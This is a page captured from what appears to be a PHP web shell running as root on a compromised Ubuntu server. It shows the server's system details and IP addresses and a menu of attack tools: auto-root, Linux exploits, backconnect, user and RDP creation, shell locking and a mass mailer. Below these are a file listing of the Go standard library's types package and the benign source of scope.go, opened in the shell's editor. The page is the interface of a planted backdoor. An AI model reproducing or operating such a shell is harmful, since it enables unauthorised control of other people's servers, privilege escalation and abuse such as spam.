Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
go /
types /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
api.go
13.6
KB
-rw-r--r--
api_test.go
41.52
KB
-rw-r--r--
assignments.go
8.58
KB
-rw-r--r--
builtins.go
17.25
KB
-rw-r--r--
builtins_test.go
7.54
KB
-rw-r--r--
call.go
13.86
KB
-rw-r--r--
check.go
12.43
KB
-rw-r--r--
check_test.go
8.65
KB
-rw-r--r--
conversions.go
4.86
KB
-rw-r--r--
decl.go
22.25
KB
-rw-r--r--
errors.go
3.14
KB
-rw-r--r--
eval.go
2.92
KB
-rw-r--r--
eval_test.go
7.12
KB
-rw-r--r--
example_test.go
8.77
KB
-rw-r--r--
expr.go
44.32
KB
-rw-r--r--
exprstring.go
4.54
KB
-rw-r--r--
exprstring_test.go
1.76
KB
-rw-r--r--
gccgosizes.go
1016
B
-rw-r--r--
gotype.go
8.4
KB
-rw-r--r--
hilbert_test.go
3.63
KB
-rw-r--r--
initorder.go
8.84
KB
-rw-r--r--
issues_test.go
12.86
KB
-rw-r--r--
labels.go
7.01
KB
-rw-r--r--
lookup.go
13.05
KB
-rw-r--r--
methodset.go
8.38
KB
-rw-r--r--
object.go
14.69
KB
-rw-r--r--
object_test.go
2.82
KB
-rw-r--r--
objset.go
927
B
-rw-r--r--
operand.go
7.46
KB
-rw-r--r--
package.go
2.19
KB
-rw-r--r--
predicates.go
9.01
KB
-rw-r--r--
resolver.go
20.76
KB
-rw-r--r--
resolver_test.go
4.58
KB
-rw-r--r--
return.go
4.23
KB
-rw-r--r--
scope.go
5.48
KB
-rw-r--r--
selection.go
3.99
KB
-rw-r--r--
self_test.go
2.2
KB
-rw-r--r--
sizes.go
6.61
KB
-rw-r--r--
sizes_test.go
2.46
KB
-rw-r--r--
stdlib_test.go
8.32
KB
-rw-r--r--
stmt.go
22.8
KB
-rw-r--r--
token_test.go
1.21
KB
-rw-r--r--
type.go
16.81
KB
-rw-r--r--
typestring.go
7.8
KB
-rw-r--r--
typestring_test.go
6.56
KB
-rw-r--r--
typexpr.go
20.6
KB
-rw-r--r--
universe.go
6.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scope.go
// Copyright 2013 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // This file implements Scopes. package types import ( "bytes" "fmt" "go/token" "io" "sort" "strings" ) // A Scope maintains a set of objects and links to its containing // (parent) and contained (children) scopes. Objects may be inserted // and looked up by name. The zero value for Scope is a ready-to-use // empty scope. type Scope struct { parent *Scope children []*Scope elems map[string]Object // lazily allocated pos, end token.Pos // scope extent; may be invalid comment string // for debugging only isFunc bool // set if this is a function scope (internal use only) } // NewScope returns a new, empty scope contained in the given parent // scope, if any. The comment is for debugging only. func NewScope(parent *Scope, pos, end token.Pos, comment string) *Scope { s := &Scope{parent, nil, nil, pos, end, comment, false} // don't add children to Universe scope! if parent != nil && parent != Universe { parent.children = append(parent.children, s) } return s } // Parent returns the scope's containing (parent) scope. func (s *Scope) Parent() *Scope { return s.parent } // Len returns the number of scope elements. func (s *Scope) Len() int { return len(s.elems) } // Names returns the scope's element names in sorted order. func (s *Scope) Names() []string { names := make([]string, len(s.elems)) i := 0 for name := range s.elems { names[i] = name i++ } sort.Strings(names) return names } // NumChildren returns the number of scopes nested in s. func (s *Scope) NumChildren() int { return len(s.children) } // Child returns the i'th child scope for 0 <= i < NumChildren(). func (s *Scope) Child(i int) *Scope { return s.children[i] } // Lookup returns the object in scope s with the given name if such an // object exists; otherwise the result is nil. func (s *Scope) Lookup(name string) Object { return s.elems[name] } // LookupParent follows the parent chain of scopes starting with s until // it finds a scope where Lookup(name) returns a non-nil object, and then // returns that scope and object. If a valid position pos is provided, // only objects that were declared at or before pos are considered. // If no such scope and object exists, the result is (nil, nil). // // Note that obj.Parent() may be different from the returned scope if the // object was inserted into the scope and already had a parent at that // time (see Insert). This can only happen for dot-imported objects // whose scope is the scope of the package that exported them. func (s *Scope) LookupParent(name string, pos token.Pos) (*Scope, Object) { for ; s != nil; s = s.parent { if obj := s.elems[name]; obj != nil && (!pos.IsValid() || obj.scopePos() <= pos) { return s, obj } } return nil, nil } // Insert attempts to insert an object obj into scope s. // If s already contains an alternative object alt with // the same name, Insert leaves s unchanged and returns alt. // Otherwise it inserts obj, sets the object's parent scope // if not already set, and returns nil. func (s *Scope) Insert(obj Object) Object { name := obj.Name() if alt := s.elems[name]; alt != nil { return alt } if s.elems == nil { s.elems = make(map[string]Object) } s.elems[name] = obj if obj.Parent() == nil { obj.setParent(s) } return nil } // Pos and End describe the scope's source code extent [pos, end). // The results are guaranteed to be valid only if the type-checked // AST has complete position information. The extent is undefined // for Universe and package scopes. func (s *Scope) Pos() token.Pos { return s.pos } func (s *Scope) End() token.Pos { return s.end } // Contains reports whether pos is within the scope's extent. // The result is guaranteed to be valid only if the type-checked // AST has complete position information. func (s *Scope) Contains(pos token.Pos) bool { return s.pos <= pos && pos < s.end } // Innermost returns the innermost (child) scope containing // pos. If pos is not within any scope, the result is nil. // The result is also nil for the Universe scope. // The result is guaranteed to be valid only if the type-checked // AST has complete position information. func (s *Scope) Innermost(pos token.Pos) *Scope { // Package scopes do not have extents since they may be // discontiguous, so iterate over the package's files. if s.parent == Universe { for _, s := range s.children { if inner := s.Innermost(pos); inner != nil { return inner } } } if s.Contains(pos) { for _, s := range s.children { if s.Contains(pos) { return s.Innermost(pos) } } return s } return nil } // WriteTo writes a string representation of the scope to w, // with the scope elements sorted by name. // The level of indentation is controlled by n >= 0, with // n == 0 for no indentation. // If recurse is set, it also writes nested (children) scopes. func (s *Scope) WriteTo(w io.Writer, n int, recurse bool) { const ind = ". " indn := strings.Repeat(ind, n) fmt.Fprintf(w, "%s%s scope %p {\n", indn, s.comment, s) indn1 := indn + ind for _, name := range s.Names() { fmt.Fprintf(w, "%s%s\n", indn1, s.elems[name]) } if recurse { for _, s := range s.children { s.WriteTo(w, n+1, recurse) } } fmt.Fprintf(w, "%s}\n", indn) } // String returns a string representation of the scope, for debugging. func (s *Scope) String() string { var buf bytes.Buffer s.WriteTo(&buf, 0, false) return buf.String() }
Close